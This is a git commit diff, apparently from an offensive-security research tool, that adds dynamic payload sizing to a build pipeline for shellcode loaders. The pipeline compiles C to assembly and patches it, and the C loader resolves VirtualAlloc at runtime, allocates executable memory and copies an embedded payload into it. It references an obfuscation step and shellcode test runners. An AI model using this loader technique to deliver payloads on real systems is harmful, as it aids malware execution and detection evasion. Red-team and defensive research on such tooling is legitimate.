feature: dynamic payload size

This commit is contained in:
Dobin
2024-02-03 20:33:50 +00:00
parent cf527aca97
commit 466cf11d82
3 changed files with 19 additions and 10 deletions
+12 -8
View File
@@ -7,11 +7,11 @@ import shutil
SHC_VERIFY_SLEEP = 0.1 SHC_VERIFY_SLEEP = 0.1
path_cl = r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\cl.exe' path_cl = r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\cl.exe'
path_masmshc = r'C:\Users\hacker\Source\Repos\masm_shc\out\build\x64-Debug\masm_shc\masm_shc.exe'
path_ml64 = r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\ml64.exe' path_ml64 = r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\ml64.exe'
path_masmshc = r'C:\Users\hacker\Source\Repos\masm_shc\out\build\x64-Debug\masm_shc\masm_shc.exe'
path_runshc = r'C:\Users\hacker\Source\Repos\masm_shc\out\build\x64-Debug\runshc\runshc.exe' path_runshc = r'C:\Users\hacker\Source\Repos\masm_shc\out\build\x64-Debug\runshc\runshc.exe'
path_shexec = r'C:\Research\hasherezade\exec_fiber\sh-exec-fiber.exe' #path_shexec = r'C:\Research\hasherezade\exec_fiber\sh-exec-fiber.exe'
verify_filename = r'C:\Temp\a' verify_filename = r'C:\Temp\a'
@@ -28,7 +28,7 @@ def clean_files():
pass pass
def make_c_to_asm(c_file, asm_file, asm_clean_file): def make_c_to_asm(c_file, asm_file, asm_clean_file, payload_len):
print("--[ Compile C source to ASM: {} -> {} ]".format(c_file, asm_file)) print("--[ Compile C source to ASM: {} -> {} ]".format(c_file, asm_file))
subprocess.run([ subprocess.run([
path_cl, path_cl,
@@ -56,10 +56,10 @@ def make_c_to_asm(c_file, asm_file, asm_clean_file):
print(" > Generated {}".format(asm_clean_file)) print(" > Generated {}".format(asm_clean_file))
print("--[ Fixup ASM: {} ]".format(asm_clean_file)) print("--[ Fixup ASM: {} ]".format(asm_clean_file))
fixup_asm_file(asm_clean_file) fixup_asm_file(asm_clean_file, payload_len)
def fixup_asm_file(filename): def fixup_asm_file(filename, payload_len):
with open(filename, 'r') as asmfile: with open(filename, 'r') as asmfile:
lines = asmfile.readlines() lines = asmfile.readlines()
@@ -71,6 +71,12 @@ def fixup_asm_file(filename):
"mov r8, QWORD PTR dobin", "mov r8, QWORD PTR dobin",
"lea r8, [shcstart]" "lea r8, [shcstart]"
) )
# replace payload length
for idx, line in enumerate(lines):
if "11223344" in lines[idx]:
lines[idx] = lines[idx].replace("11223344", str(payload_len+1))
break
# add label at end of code # add label at end of code
for idx, line in enumerate(lines): for idx, line in enumerate(lines):
@@ -162,7 +168,7 @@ def obfuscate_shc_loader(file_shc_in, file_shc_out):
def test_shellcode(shc_name): def test_shellcode(shc_name):
print("---[ Test shellcode: {} ]".format(shc_name)) print("---[ Test shellcode: {} ]".format(shc_name))
subprocess.run([ subprocess.run([
path_shexec, path_runshc,
"{}".format(shc_name), "{}".format(shc_name),
]) # , check=True ]) # , check=True
@@ -175,8 +181,6 @@ def verify_shellcode(shc_name):
print("Error, directory does not exist for: {}".format(verify_filename)) print("Error, directory does not exist for: {}".format(verify_filename))
return return
# path_runshc
# path_shexec
subprocess.run([ subprocess.run([
path_runshc, path_runshc,
"{}".format(shc_name), "{}".format(shc_name),
+3 -1
View File
@@ -85,7 +85,9 @@ int main()
_In_ DWORD flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str); _In_ DWORD flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str);
if (_VirtualAlloc == NULL) return 4; if (_VirtualAlloc == NULL) return 4;
char *dest = _VirtualAlloc(NULL, 4096, 0x3000, 0x40); char *dest = _VirtualAlloc(NULL, 4096, 0x3000, 0x40);
for(int n=0; n<347+1; n++) { // 11223344 is a magic number which will be replaced in the asm source
// with the payload length.
for(int n=0; n<11223344; n++) {
dest[n] = dobin[n]; dest[n] = dobin[n];
} }
+4 -1
View File
@@ -76,7 +76,10 @@ def main():
clean_files() clean_files()
if options["generate_asm_from_c"]: if options["generate_asm_from_c"]:
make_c_to_asm("source/main.c", "main.asm", "main-clean.asm") with open(options["payload"], 'rb') as input2:
data_payload = input2.read()
l = len(data_payload)
make_c_to_asm("source/main.c", "main.asm", "main-clean.asm", l)
if options["generate_asm_from_c"]: if options["generate_asm_from_c"]:
make_shc_from_asm("main-clean.asm", "main-clean.exe", "main-clean.bin") make_shc_from_asm("main-clean.asm", "main-clean.exe", "main-clean.bin")